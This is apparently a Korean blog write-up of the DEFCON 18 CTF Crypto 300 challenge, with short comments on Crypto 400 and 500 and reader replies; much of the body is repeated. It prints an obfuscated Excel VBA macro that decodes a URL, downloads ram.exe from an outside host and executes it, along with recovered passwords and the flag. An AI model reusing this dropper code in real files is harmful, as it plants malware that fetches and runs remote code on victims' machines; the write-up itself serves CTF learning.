Proneer | Security is a people problem...
# Question : Would you link to play a game
DEFCON 18 CTF - Crypto 300 Writeup
# Question : Would you link to play a game
주어진 파일을 압축 해제하면 xls 파일을 확인할 수 있습니다. xls는 ole compound 파일로 자주 분석하던 파일이기 때문에 어렵게 보이지 않더군요. 파일을 열어보면 다음과 같이 VBA 스크립트로 만들어진 버튼을 확인할 수 있습니다.
버튼을 누르게 되면 매크로가 동작을 하는데 ram.exe 파일이 C:\ 에 다운받아진 후 이것을 실행하게 됩니다.
실행하면 양이 나와서 컴퓨터 화면을 돌아다닙니다. 가끔 오줌도 누고, 하품도 하고, 검은 양도 나오고, 우주선이 나와서 양을 잡아가기도 합니다. 이것 때문에 문제를 푸는데 심심하지 않았습니다. ddtek의 마스코드가 양이여서 그런지 대부분의 문제가 양과 관련되어 있었습니다.
위 XLS 파일을 살펴보면 worksheet에 암호가 걸려있는 것을 확인할 수 있습니다. 엑셀 파일은 2007(OOXML) 형식이 아닌 이전 형식을 가졌다면(OLE Microsoft Compound Format) 쉽게 TMTO(Time Memory Trade-Off) 방식으로 풀 수 있습니다. 그래서 복호화 도구들도 복호화란 이름보다 Remover 라는 이름을 사용하기도 합니다.
문제는 기존에 열기, 수정 암호는 쉽게 풀수가 있었지만 워크시트 암호도 같은 방식인지는 확인을 못했었죠. 하지만 이 또한 별 방식이 아니더군요. 간단히 복호화 도구를 사용하면 다음과 같이 관련 패스워드를 얻을 수 있습니다.
File: c300_f75bec6f545034716 - offvis.xls
Folder: C:\Users\proneer\Desktop\C300\
Protection: MS Excel 97-2003 - VBA Project, VBA Password, Protection Password
Complexity: Instant Unprotection
File-Open password: no password is set
File-Modify password: no password is set
Workbook password: [BQJSUWJIHZCUBHV] (no brackets) <Copy> (generated) (removed)
Worksheet [1] password: [BQJSUWJIHZCUBHV] (no brackets) <Copy> (generated) (removed)
VBA Project password: [Y6HA1H] (no brackets) <Copy> (generated)
Unprotected file: c300_f75bec6f545034716 - offvis-unprotected.xls
Workbook password : BQJSUWJIHZCUBHV
Worksheet password : BQJSUWJIHZCUBHV
VBA Project password : Y6HA1H
실제로 VBA에도 암호가 걸려있더군요. 양을 나오게 하는 VBA를 분석하기 위해 획득한 암호를 이용해 VBA 코드를 확인했습니다.
엑셀파일을 열어보면 "Asteroids" 하나의 워크시트만 볼 수 있는데 실제로는 "Data" 시트가 숨겨져 있었습니다. 숨겨진 시트를 해제한 후 확인해보았지만 뚜렷한 값은 찾을 수 없었습니다. 그래서 VBA 코드를 확인했습니다.
위의 코드를 디버깅해보면 간단히 고정된 날짜와 크기를 비교한 후 다음의 값을 디코딩하고 파일을 다운 받습니다.
WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")
FL = X("51092F16535C6F003A56")
Decoded Value :
WL = http://pwn43.ddtek.biz/ram.exe
FL = C:\ram.exe
WL 사이트로부터 파일을 다운받아 FL에 저장합니다. 그리고 이후의 EX 프로시저는 C:\ram.exe 파일을 실행시키게 됩니다.
VBA 동작 상에 어떠한 힌트는 찾을 수 없었습니다. 그래서 바이너리 데이터를 문자열로 변환해주는 함수를 살펴보면 키를 생성하는데 "Data" 시트의 필드 값을 이용하는 것을 알 수 있습니다. 각 필드의 값을 연접하면 다음과 같이 키를 얻을 수 있습니다.
AU2 : a23sd21
BE4866 : AeB349sdfWewrf
Z9550 : w29552
Key : a23sd21AeB349sdfWewrfw29552
결과적으로 위의 키가 답이긴 한데 DEFCON 서버가 정상적으로 동작하지 않아 여러번 입력에도 잘못된 값이라고 알려주더군요. 실제로 이 문제 뿐만아니라 대부분의 문제에서 서버가 원활하지 않아 틀리다고 알려주는 바람에 많은 시간을 낭비해야만 했습니다.
잘못된 값이라고 알려주는 바람에 또다른 분석을 하게 되었죠. 실제로 "Data" 시트에 주어진 필드 외에도 여러 필드에 임의의 값이 존재했습니다. 그리고 "Asteroids" 시트에도 살펴보면 여러 필드에 임의의 값이 존재했습니다. 그래서 이 값들을 이용해 새로운 키를 여러개 생성해 보았습니다.
그리고 주어진 VBA 소스를 보면 KG() 라는 이름의 KeyGenerator로 보이는 함수가 있었습니다. 기존 함수의 CK 생성 부분을 이 함수의 내용으로 교체하면 답이 나올 줄 알았습니다.
위와 같이 삽질을 하느라 좀 많은 시간을 보냈는데 결과는 그냥 위의 CK의 내용이더군요.
아쉬운 점은 KG() 함수를 이용해 WL을 변환하면 별도의 주소가 생성이 되고 해당 주소에 키가 있었으면 좀 더 멋진 문제가 되었을텐데 하는 아쉬움이 존재했습니다. 그렇게 되어야 문제다운 문제가 되었을텐데 단지 위의 CK 값이 답이 되는 것을 보고 허무했네요.
Crypto 400
Crypto 400 은 stalkr의 블로그를 확인했다면 쉽게 풀 수 있는 문제였습니다. 이전 코드게이트 2010에 참여했던 참가팀이라면 쉽게 풀었을 것 같네요. 오히려 pcap 파일에서 데이터를 추출하지 않아도 되기때문에 좀 더 쉬운 문제였습니다. 내용은 RSA 취약키를 이용한 복호화입니다. 2010년도에 이미 논문으로 나온 내용이고 널리 알려진 내용이라서 좀 의외였습니다. 이 문제가 왜 400 일까 하고 말이죠...
다음은 stalkr의 블로그 내용입니다. http://blog.stalkr.net/2010/03/codegate-decrypting-https-ssl-rsa-768.html
Crypto 500
Crypto 500은 빨리 달라고 수없이 요청했음에도 불구하고 너무 늦게 나와 버렸네요. 게다가 포렌식 문제와 함께 나오다 보니 문제를 확인도 못해봤네요. 게다가 업친데 덥친 격으로 새벽에 인터넷이 끊켜 버리는 바람에 아이폰 테더링하고 비맞으며 피씨방을 왔다 갔다 하다가 그만 아무것도 하기 싫은 지경에 도달해 버렸습니다. ㅋㅋ
버튼을 누르게 되면 매크로가 동작을 하는데 ram.exe 파일이 C:\ 에 다운받아진 후 이것을 실행하게 됩니다.
실행하면 양이 나와서 컴퓨터 화면을 돌아다닙니다. 가끔 오줌도 누고, 하품도 하고, 검은 양도 나오고, 우주선이 나와서 양을 잡아가기도 합니다. 이것 때문에 문제를 푸는데 심심하지 않았습니다. ddtek의 마스코드가 양이여서 그런지 대부분의 문제가 양과 관련되어 있었습니다.
위 XLS 파일을 살펴보면 worksheet에 암호가 걸려있는 것을 확인할 수 있습니다. 엑셀 파일은 2007(OOXML) 형식이 아닌 이전 형식을 가졌다면(OLE Microsoft Compound Format) 쉽게 TMTO(Time Memory Trade-Off) 방식으로 풀 수 있습니다. 그래서 복호화 도구들도 복호화란 이름보다 Remover 라는 이름을 사용하기도 합니다.
문제는 기존에 열기, 수정 암호는 쉽게 풀수가 있었지만 워크시트 암호도 같은 방식인지는 확인을 못했었죠. 하지만 이 또한 별 방식이 아니더군요. 간단히 복호화 도구를 사용하면 다음과 같이 관련 패스워드를 얻을 수 있습니다.
File: c300_f75bec6f545034716 - offvis.xls
Folder: C:\Users\proneer\Desktop\C300\
Protection: MS Excel 97-2003 - VBA Project, VBA Password, Protection Password
Complexity: Instant Unprotection
File-Open password: no password is set
File-Modify password: no password is set
Workbook password: [BQJSUWJIHZCUBHV] (no brackets) <Copy> (generated) (removed)
Worksheet [1] password: [BQJSUWJIHZCUBHV] (no brackets) <Copy> (generated) (removed)
VBA Project password: [Y6HA1H] (no brackets) <Copy> (generated)
Unprotected file: c300_f75bec6f545034716 - offvis-unprotected.xls
Workbook password : BQJSUWJIHZCUBHV
Worksheet password : BQJSUWJIHZCUBHV
VBA Project password : Y6HA1H
실제로 VBA에도 암호가 걸려있더군요. 양을 나오게 하는 VBA를 분석하기 위해 획득한 암호를 이용해 VBA 코드를 확인했습니다.
엑셀파일을 열어보면 "Asteroids" 하나의 워크시트만 볼 수 있는데 실제로는 "Data" 시트가 숨겨져 있었습니다. 숨겨진 시트를 해제한 후 확인해보았지만 뚜렷한 값은 찾을 수 없었습니다. 그래서 VBA 코드를 확인했습니다.
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" _
(ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Private Sub GF()
WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")
FL = X("51092F16535C6F003A56")
RV = URLDownloadToFile(0, WL, FL, 0, 0)
End Sub
Private Sub EX()
Dim OF As String
On Error Resume Next
UP = X("51092F")
OF = X("40521E4A574924")
RV = ShellExecute(0, "open", OF, "", UP, 3)
End Sub
Private Function X(DI As String) As String
Dim CK, sDO As String
Dim lDP, iXV1, iXV2 As Integer
On Error Resume Next
CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _
Worksheets("Data").Range("Z9550")
For lDP = 1 To (Len(DI) / 2)
iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))
iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))
sDO = sDO + Chr(iXV1 Xor iXV2)
Next lDP
X = sDO
End Function
Sub Rectangle1_Click()
Asteroids.Show False
Call MN
End Sub
Function KG()
KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _
Worksheets("Sheet2").Range("E8761")
End Function
Sub MN()
Dim SD As Date
Dim ED As Date
Dim CD As Date
' On Error Resume Next
SD = X("071C41571D03715472")
ED = X("071C41521D03715472")
CD = Date
If (CD >= SD) And (CD < ED) Then
Call GF
Call EX
End If
End Sub
위의 코드를 디버깅해보면 간단히 고정된 날짜와 크기를 비교한 후 다음의 값을 디코딩하고 파일을 다운 받습니다.
WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")
FL = X("51092F16535C6F003A56")
Decoded Value :
WL = http://pwn43.ddtek.biz/ram.exe
FL = C:\ram.exe
WL 사이트로부터 파일을 다운받아 FL에 저장합니다. 그리고 이후의 EX 프로시저는 C:\ram.exe 파일을 실행시키게 됩니다.
VBA 동작 상에 어떠한 힌트는 찾을 수 없었습니다. 그래서 바이너리 데이터를 문자열로 변환해주는 함수를 살펴보면 키를 생성하는데 "Data" 시트의 필드 값을 이용하는 것을 알 수 있습니다. 각 필드의 값을 연접하면 다음과 같이 키를 얻을 수 있습니다.
AU2 : a23sd21
BE4866 : AeB349sdfWewrf
Z9550 : w29552
Key : a23sd21AeB349sdfWewrfw29552
결과적으로 위의 키가 답이긴 한데 DEFCON 서버가 정상적으로 동작하지 않아 여러번 입력에도 잘못된 값이라고 알려주더군요. 실제로 이 문제 뿐만아니라 대부분의 문제에서 서버가 원활하지 않아 틀리다고 알려주는 바람에 많은 시간을 낭비해야만 했습니다.
잘못된 값이라고 알려주는 바람에 또다른 분석을 하게 되었죠. 실제로 "Data" 시트에 주어진 필드 외에도 여러 필드에 임의의 값이 존재했습니다. 그리고 "Asteroids" 시트에도 살펴보면 여러 필드에 임의의 값이 존재했습니다. 그래서 이 값들을 이용해 새로운 키를 여러개 생성해 보았습니다.
그리고 주어진 VBA 소스를 보면 KG() 라는 이름의 KeyGenerator로 보이는 함수가 있었습니다. 기존 함수의 CK 생성 부분을 이 함수의 내용으로 교체하면 답이 나올 줄 알았습니다.
위와 같이 삽질을 하느라 좀 많은 시간을 보냈는데 결과는 그냥 위의 CK의 내용이더군요.
아쉬운 점은 KG() 함수를 이용해 WL을 변환하면 별도의 주소가 생성이 되고 해당 주소에 키가 있었으면 좀 더 멋진 문제가 되었을텐데 하는 아쉬움이 존재했습니다. 그렇게 되어야 문제다운 문제가 되었을텐데 단지 위의 CK 값이 답이 되는 것을 보고 허무했네요.
Crypto 400
Crypto 400 은 stalkr의 블로그를 확인했다면 쉽게 풀 수 있는 문제였습니다. 이전 코드게이트 2010에 참여했던 참가팀이라면 쉽게 풀었을 것 같네요. 오히려 pcap 파일에서 데이터를 추출하지 않아도 되기때문에 좀 더 쉬운 문제였습니다. 내용은 RSA 취약키를 이용한 복호화입니다. 2010년도에 이미 논문으로 나온 내용이고 널리 알려진 내용이라서 좀 의외였습니다. 이 문제가 왜 400 일까 하고 말이죠...
다음은 stalkr의 블로그 내용입니다. http://blog.stalkr.net/2010/03/codegate-decrypting-https-ssl-rsa-768.html
Crypto 500
Crypto 500은 빨리 달라고 수없이 요청했음에도 불구하고 너무 늦게 나와 버렸네요. 게다가 포렌식 문제와 함께 나오다 보니 문제를 확인도 못해봤네요. 게다가 업친데 덥친 격으로 새벽에 인터넷이 끊켜 버리는 바람에 아이폰 테더링하고 비맞으며 피씨방을 왔다 갔다 하다가 그만 아무것도 하기 싫은 지경에 도달해 버렸습니다. ㅋㅋ
'Challenges' 카테고리의 다른 글
| DEFCON 18 CTF - Forensics 200 Writeup (2) | 2010/05/26 |
|---|---|
| DEFCON 18 CTF - Forensics 100 Writeup (2) | 2010/05/26 |
| DEFCON 18 CTF - Crypto 300 Writeup (6) | 2010/05/25 |
| DEFCON 18 CTF - Crypto 100 Writeup (0) | 2010/05/25 |
| DEFCON 18 CTF - Crypto 200 Writeup (0) | 2010/05/25 |
| CodeGate2010 pre-qual for digital forensics (0) | 2010/03/15 |
ram.exe
댓글을 달아 주세요
엌ㅋㅋㅋㅋ 엄청 빠르시네요 ㅋㅋㅋ
2010/05/25 16:18 [ ADDR : EDIT/ DEL : REPLY ]ㅋㅋ 근데 문제를 캡쳐해논게 없어서 다시 풀어야 했다는...사이트도 다 막혀 있어서 문제 질문도 다 까먹었어 ㅠㅠ 포렌식 문제들은 올리기 싫다는... 포렌식 문제가 포렌식 문제가 아닌게 참...
2010/05/25 16:25 [ ADDR : EDIT/ DEL ]아놔.. ㅠㅠ 서버가 미쳐서 답을 인식 못한거였다니... ㅠㅠ
2010/05/25 22:35 [ ADDR : EDIT/ DEL : REPLY ]궨히 엄청 더 삽질하고 GG 쳤다는..
이런... 이번 CTF 최대 문제는 자바로 구현해서 인지는 몰라도 이전보다 서버 에러가 훨씬 심한게 문제네요.. 저희도 이문제 이후에 기본적으로 답을 10번씩은 넣어보고 아니라고 할때서야 다른걸 시도했습니다..ㅠㅠ 그래서 낭비한 시간을 생각하면...ㅡㅡ;
2010/05/25 23:28 [ ADDR : EDIT/ DEL ]음.. 이번에 대회하면서 답 입력 자체가 이상했던 적은 없었는데 혹시 팀원 모두 각자 아이디를 갖고 계셨나요?
2010/05/26 21:03 [ ADDR : EDIT/ DEL : REPLY ]전부 각자 아이디는 아니고 몇명은 공유하고 몇명은 각자 아이디를 사용했습니다. 저희는 모든 답이 한번에 등록되는 경우가 거의 없었어요..ㅠㅠ
2010/05/26 21:51 [ ADDR : EDIT/ DEL ]